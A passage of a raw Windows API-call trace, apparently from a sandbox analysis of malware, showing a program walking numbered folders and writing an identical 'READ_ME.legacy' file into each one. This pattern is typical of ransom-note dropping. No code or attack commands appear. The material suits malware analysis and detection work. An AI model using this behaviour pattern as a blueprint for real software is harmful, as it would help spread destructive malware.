ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1035", cAlternateFileName="")) returned 1 [0067.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0067.281] GetLastError () returned 0x0 [0067.281] SetLastError (dwErrCode=0x0) [0067.281] GetLastError () returned 0x0 [0067.281] SetLastError (dwErrCode=0x0) [0067.281] GetLastError () returned 0x0 [0067.281] SetLastError (dwErrCode=0x0) [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0067.282] GetLastError () returned 0x0 [0067.282] SetLastError (dwErrCode=0x0) [0067.282] GetLastError () returned 0x0 [0067.282] SetLastError (dwErrCode=0x0) [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.282] GetLastError () returned 0x0 [0067.282] SetLastError (dwErrCode=0x0) [0067.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0067.282] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1035\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0067.285] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.286] CloseHandle (hObject=0x454) returned 1 [0067.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1036", cAlternateFileName="")) returned 1 [0067.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0067.287] GetLastError () returned 0x0 [0067.287] SetLastError (dwErrCode=0x0) [0067.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0067.287] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1036\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0067.290] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.291] CloseHandle (hObject=0x454) returned 1 [0067.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0067.291] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1037", cAlternateFileName="")) returned 1 [0067.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0067.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0067.291] GetLastError () returned 0x0 [0067.291] SetLastError (dwErrCode=0x0) [0067.291] GetLastError () returned 0x0 [0067.291] SetLastError (dwErrCode=0x0) [0067.291] GetLastError () returned 0x0 [0067.291] SetLastError (dwErrCode=0x0) [0067.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0067.292] GetLastError () returned 0x0 [0067.292] SetLastError (dwErrCode=0x0) [0067.292] GetLastError () returned 0x0 [0067.292] SetLastError (dwErrCode=0x0) [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0067.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0067.292] GetLastError () returned 0x0 [0067.292] SetLastError (dwErrCode=0x0) [0067.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0067.292] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1037\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0067.294] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.295] CloseHandle (hObject=0x454) returned 1 [0067.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0067.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0067.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.295] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1038", cAlternateFileName="")) returned 1 [0067.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0067.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0067.295] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0067.296] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1038\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0067.299] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.300] CloseHandle (hObject=0x454) returned 1 [0067.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0067.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.300] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1040", cAlternateFileName="")) returned 1 [0067.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0067.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0067.301] GetLastError () returned 0x0 [0067.301] SetLastError (dwErrCode=0x0) [0067.301] GetLastError () returned 0x0 [0067.301] SetLastError (dwErrCode=0x0) [0067.301] GetLastError () returned 0x0 [0067.301] SetLastError (dwErrCode=0x0) [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d150 [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.301] GetLastError () returned 0x0 [0067.301] SetLastError (dwErrCode=0x0) [0067.301] GetLastError () returned 0x0 [0067.301] SetLastError (dwErrCode=0x0) [0067.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0067.302] GetLastError () returned 0x0 [0067.302] SetLastError (dwErrCode=0x0) [0067.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0067.302] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1040\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0067.305] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.306] CloseHandle (hObject=0x454) returned 1 [0067.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d150 | out: hHeap=0x520000) returned 1 [0067.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0067.306] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1041", cAlternateFileName="")) returned 1 [0067.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.306] GetLastError () returned 0x0 [0067.306] SetLastError (dwErrCode=0x0) [0067.306] GetLastError () returned 0x0 [0067.306] SetLastError (dwErrCode=0x0) [0067.306] GetLastError () returned 0x0 [0067.307] SetLastError (dwErrCode=0x0) [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0067.307] GetLastError () returned 0x0 [0067.307] SetLastError (dwErrCode=0x0) [0067.307] GetLastError () returned 0x0 [0067.307] SetLastError (dwErrCode=0x0) [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0067.307] GetLastError () returned 0x0 [0067.307] SetLastError (dwErrCode=0x0) [0067.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0067.307] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1041\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0067.310] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.311] CloseHandle (hObject=0x454) returned 1 [0067.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0067.311] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1042", cAlternateFileName="")) returned 1 [0067.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0a0 [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0067.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0067.312] GetLastError () returned 0x0 [0067.312] SetLastError (dwErrCode=0x0) [0067.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0067.313] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1042\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0067.315] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.316] CloseHandle (hObject=0x454) returned 1 [0067.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0067.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0067.316] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1043", cAlternateFileName="")) returned 1 [0067.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0067.316] GetLastError () returned 0x0 [0067.316] SetLastError (dwErrCode=0x0) [0067.316] GetLastError () returned 0x0 [0067.316] SetLastError (dwErrCode=0x0) [0067.316] GetLastError () returned 0x0 [0067.316] SetLastError (dwErrCode=0x0) [0067.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0067.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0067.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0067.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0067.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0067.317] GetLastError () returned 0x0 [0067.317] SetLastError (dwErrCode=0x0) [0067.317] GetLastError () returned 0x0 [0067.317] SetLastError (dwErrCode=0x0) [0067.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.317] GetLastError () returned 0x0 [0067.317] SetLastError (dwErrCode=0x0) [0067.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0067.317] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1043\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0067.331] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.332] CloseHandle (hObject=0x454) returned 1 [0067.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0067.333] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1044", cAlternateFileName="")) returned 1 [0067.333] HeapFree (in: 